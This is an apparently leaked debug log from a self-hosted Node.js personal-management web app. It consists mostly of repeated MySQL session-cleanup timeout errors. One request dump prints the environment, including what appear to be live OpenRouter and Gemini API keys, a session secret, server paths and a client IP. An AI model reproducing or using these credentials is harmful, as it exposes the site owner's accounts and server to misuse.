    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-15 18:54:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-15 19:41:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-15 19:41:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-16 04:48:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-16 04:48:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-16 07:37:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-16 07:37:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-16 10:19:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-16 10:19:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-16 10:44:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-16 10:44:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-16 13:00:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-16 13:00:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-16 13:05:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-16 13:05:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-16 17:04:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-16 17:04:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-16 17:37:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-16 17:37:58' as DATETIME)"
}
2026-01-17T20:03:29.470Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-01-17T20:03:31.742Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-01-17T20:03:32.606Z server-connect:setup:upload Upload middleware configured.
2026-01-17T20:03:32.606Z server-connect:secure CSRF Protection initialized
2026-01-17T20:03:32.613Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-01-17T20:03:32.614Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-01-17T20:03:32.614Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-01-17T20:03:32.617Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-01-17T20:03:32.623Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-01-17T20:03:32.627Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-01-17T20:03:32.636Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-01-17T20:03:32.650Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-01-17T20:03:32.654Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-01-17T20:03:32.661Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-01-17T20:03:32.671Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-01-17T20:03:32.674Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-01-17T20:03:32.744Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-01-17T20:03:32.744Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-01-17T20:03:32.752Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2026-01-17T20:03:32.754Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2026-01-17T20:03:32.756Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2026-01-17T20:03:32.758Z server-connect:setup:routes Api route /api/health/log-set(.json)? created
2026-01-17T20:03:32.763Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2026-01-17T20:03:32.769Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2026-01-17T20:03:32.773Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2026-01-17T20:03:32.781Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2026-01-17T20:03:32.787Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-01-17T20:03:32.789Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-01-17T20:03:32.795Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-01-17T20:03:32.797Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-01-17T20:03:32.801Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-01-17T20:03:32.803Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-01-17T20:03:32.805Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-01-17T20:03:32.811Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-01-17T20:03:32.811Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-01-17T20:03:32.815Z server-connect:setup:routes Api route /api/test(.json)? created
2026-01-17T20:03:33.303Z server-connect:router Serving templateView /
2026-01-17T20:03:33.305Z server-connect:app Executing action step identify
2026-01-17T20:03:33.305Z server-connect:app options: { provider: 'security' }
2026-01-17T20:03:33.307Z server-connect:auth No login cookie found
2026-01-17T20:03:33.307Z server-connect:output identity: false
2026-01-17T20:03:33.307Z server-connect:app Executing action step restrict
2026-01-17T20:03:33.307Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-17T20:03:33.311Z server-connect:output restrict: undefined
2026-01-17T20:03:33.352Z server-connect:router Serving templateView /login
2026-01-17T20:03:33.352Z server-connect:app Executing action step identify
2026-01-17T20:03:33.352Z server-connect:app options: { provider: 'security' }
2026-01-17T20:03:33.352Z server-connect:auth No login cookie found
2026-01-17T20:03:33.352Z server-connect:output identity: false
2026-01-17T20:03:33.352Z server-connect:router Render template layouts/authentication
2026-01-17T20:03:33.353Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en',
    'user-agent': 'Scrapy/2.13.4 (+https://scrapy.org)',
    'accept-encoding': 'gzip',
    host: 'ems.sanjaychaurasia.xyz',
    'x-forwarded-for': '35.204.135.22',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-18T20:03:33.350Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.204.135.22',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en',
    HTTP_USER_AGENT: 'Scrapy/2.13.4 (+https://scrapy.org)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-FOR': '35.204.135.22',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-17 20:53:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-17 20:53:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-17 22:13:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-17 22:13:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-17 23:53:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-17 23:53:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-18 03:46:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-18 03:46:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-18 04:19:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
